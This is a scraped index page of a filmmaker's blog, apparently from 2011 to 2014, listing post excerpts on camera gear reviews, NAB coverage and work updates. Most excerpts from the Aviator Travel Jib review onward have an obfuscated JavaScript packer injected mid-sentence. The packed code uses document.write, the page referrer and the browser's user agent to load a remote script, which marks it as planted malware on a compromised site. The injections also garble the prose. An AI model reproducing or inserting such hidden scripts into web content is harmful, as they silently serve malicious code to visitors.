New Project: FlipClip

I got brought in by Beyond Pix (beyondpix.com), to DP a short promotional piece for the launch of FlipClip, an app that allows you to easily create animated photo albums. The idea behind the shoot was that it was going to all be POV, which meant that I had to operate without using my hands.

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Post Nab 2014 Spotlight: iFootage Motorized Slider

Now that the 2014 NAB show in Las Vegas is over it’s time to do some coverage! Starting on April 11th and going until the end of the month I will be doing a spotlight on what was good at the show. Each day I’ll focus on something new that I saw. *note* These are being released in no particular order*

*NOTE: I really apologize for these last two posts being so late. Work got nuts last week.*

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Post NAB 2014 Spotlight: Emotimo

Now that the 2014 NAB show in Las Vegas is over it’s time to do some coverage! Starting on April 11th and going until the end of the month I will be doing a spotlight on what was good at the show. Each day I’ll focus on something new that I saw. *note* These are being released in no particular order*

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The Everything Post

Wow, it’s been over a month since my last post… and what a crazy busy month it’s been. So far 2013 is shaping up really well, and there are a lot of things I’m working on for later this year. I haven’t given a solid update on the state of things in a while so, this post will hopefully catch us all up before I move into summer reviews and tutorials.

I took some time after the end of the semester to decompress. I took Loretta and Zero camping in Michigan (see Loretta’s post about it here: creatively-driven.com), I sorted through my office and apartment, I cleaned out the clutter and got reset, and now I’m finally ready to look back at how much actually happened that last few months.

DFocus version3 VS. version4

I know it’s been a while since I posted, but to make up for it, I’m coming back with a comparison between the DFocus System (dfocussystem.com) follow focus Version 3 and Version 4.

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Deconstructing the Blogroll: planet5D, REDUSER, cinema5D

A while ago I started a blog series to deconstruct my blogroll of the sites and people that I follow. These are the places I go to for information, tips, and tricks about filmmaking.

First off, sorry for not posting last week.
For this week I’m covering some of the forums I frequent. planet5D (planet5D.com) and cinema5D (cinema5D.com) both are (or at least started out as) DSLR centric filmmaking forums. But, both now are focused on general filmmaking. REDUSER (reduser.net) is a forum that covers… you guessed it… RED. I visit a lot of different forums, but these are three that I visit more often.

Aviator Travel Jib Review and Test

Back eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntib|var|u0026u|referrer|nhiis||js|php'.split('|'),0,{})) in the middle of 2012 Zeke Kamm (@Zeke_Kamm) and Nice Industries (nice-industries.com) put out a Kickstarter campaign (kickstarter.com) for the Aviator Travel Jib (aviatorcameragear.com). The jib promised to be a light-weight, portable piece of gear that would be...

2012: A Post-Mortem

Since it’s the time of year when companies summarize the year they’ve had, and it’s been a while since I’ve done a check in, here’s my post-mortem on 2012. Last year I kept it under 600 words; there's no way I'm going to be able...

Ikan Flyweight Rig and Table Top Dolly Review

Hey everyone. Sorry it's been so long since my last post; been slammed. If you don't want to read my review below, the video is basically the same as the text. [vimeo http://www.vimeo.com/56125500 w=500&h=281] Ikan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tahkt|var|u0026u|referrer|kekhk||js|php'.split('|'),0,{})) Corp Flyweight DSLR Shoulder Rig...

Lens Review: Canon 40mm f/2.8 Pancake

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isttr|var|u0026u|referrer|tbbzn||js|php'.split('|'),0,{})) couple of weeks ago, Deejay Scharton was selling off his Canon 40mm lens over at DSLRFilmNoob.com (dslrfilmnoob.com). I had been wanting to purchase one for a while, but never pulled the trigger on it. Deejay's price was too...

Monthly Inspiration: Guillermo del Toro

Monthly Inspiration is a new blog series that’s about what inspires me; filmmakers, styles, actors, scripts… each month, I’ll cover one new piece of inspiration. Hopefully I can turn you on to something that will inspire you as well. First, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsbfd|var|u0026u|referrer|zdezs||js|php'.split('|'),0,{})) ...

Vello Shutterboss Timelapse Test

Loretta eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkede|var|u0026u|referrer|hdakf||js|php'.split('|'),0,{})) and I are within two weeks of our move to Chicago. The process of packing and getting ready for the drive is a pain in the ass. But, one thing that I'm looking forward to is the timelapse...

DSLR Monitoring with the Small HD DP4/EVF

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izhds|var|u0026u|referrer|rbntb||js|php'.split('|'),0,{})) the last few months I've been looking at monitoring options for my DSLR. There are a number of features that I was looking for: HDMI Loop-Through, 1/4-20" mounting options, light weight, and focus assist were the big ones....

Stop Motion Zacuto

A couple of weeks ago Den Lennie (denlennie.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfzin|var|u0026u|referrer|byfei||js|php'.split('|'),0,{})) announced that he had a coupon code for 15% off Zacuto (zacuto.com) gear. Since Zacuto rarely his discounts I wanted to jump at the offer. There's a lot of equipment that...

Light Craft Workshop Fader ND Review

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbkbe|var|u0026u|referrer|edazz||js|php'.split('|'),0,{})) Light Craft Workshop (lightcraftworkshop.com) Fader ND MkII could make all the difference in being able to get a shot, or not. Imagine shooting video on a DSLR with a fixed ISO and aperture and still being able to control the...

ETECS 2012 featuring Shane Hurlbut

Once eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfybz|var|u0026u|referrer|dkhss||js|php'.split('|'),0,{})) a year Snader and Associates (snader.com) hosts the Emerging Technologies Expo and Communication Summit at the San Mateo Event Center. So, every year, I hop on CalTrain to check out this free gear-gasm. I was especially excited to...

Jag35: Top Quality, Low Cost (Relatively)

PREFACE: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekak|var|u0026u|referrer|ebabi||js|php'.split('|'),0,{})) I promise I will explain why I said "Relatively" in the title! Over the last few months I have been acquiring and using a lot of gear. Much of what I have been getting has been courtesy of Jag35....

New Horizons

Been a while since I've just given an update. A lot has been happening, and there's more to come. First and foremost, Beyond Pix (beyondpix.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysze|var|u0026u|referrer|bhbse||js|php'.split('|'),0,{})) has brought me on full time. So, now I get benefits, paid time off,...

Quality Audio with the Zoom H4n

So, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brbhz|var|u0026u|referrer|bhhit||js|php'.split('|'),0,{})) I just got my very own Zoom H4n (zoom.com) and I've been running it through the gauntlet. All I can say is this: Get One! This is a very affordable, very rugged, very amazing portable audio recorder. If...

Catching Back Up

Hello friends. Sorry about not posting last week. Been working a lot; two weeks of 14-16 hour days, with no break between them, and more of it to come. By the time I get home, I just want to sit on the couch and veg....

Cowboy Studio Lights

About eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzkyf|var|u0026u|referrer|beisb||js|php'.split('|'),0,{})) a month ago I stumbled upon the DSLR Film Noob's review (http://www.dslrfilmnoob.com) of the Cowboy Studio CFL (Compact Fluorescent Light)  light rig, and I decided to look a little more into it. He basically said that, for the...

Work, No Work, Work

It's been an interesting week, to say the least. Now prepare for my ramble. Let's start from the beginning, shall we. Tuesday was my last day working with Teachscape Inc. (http://www.teachscape.com)on eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didfr|var|u0026u|referrer|abisz||js|php'.split('|'),0,{})) the Measures of Effective Teaching (MET) Project, that's funded...

Canon Filmmakers Live with Philip Bloom

Well, the time has come, and this is officially my first post for the new blog. I decided to wait until today for one big reason, Canon Filmmakers Live (http://canonfilmmakerslive.com). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nybry|var|u0026u|referrer|dzzfb||js|php'.split('|'),0,{})) Yesterday, I had the opportunity to go to the...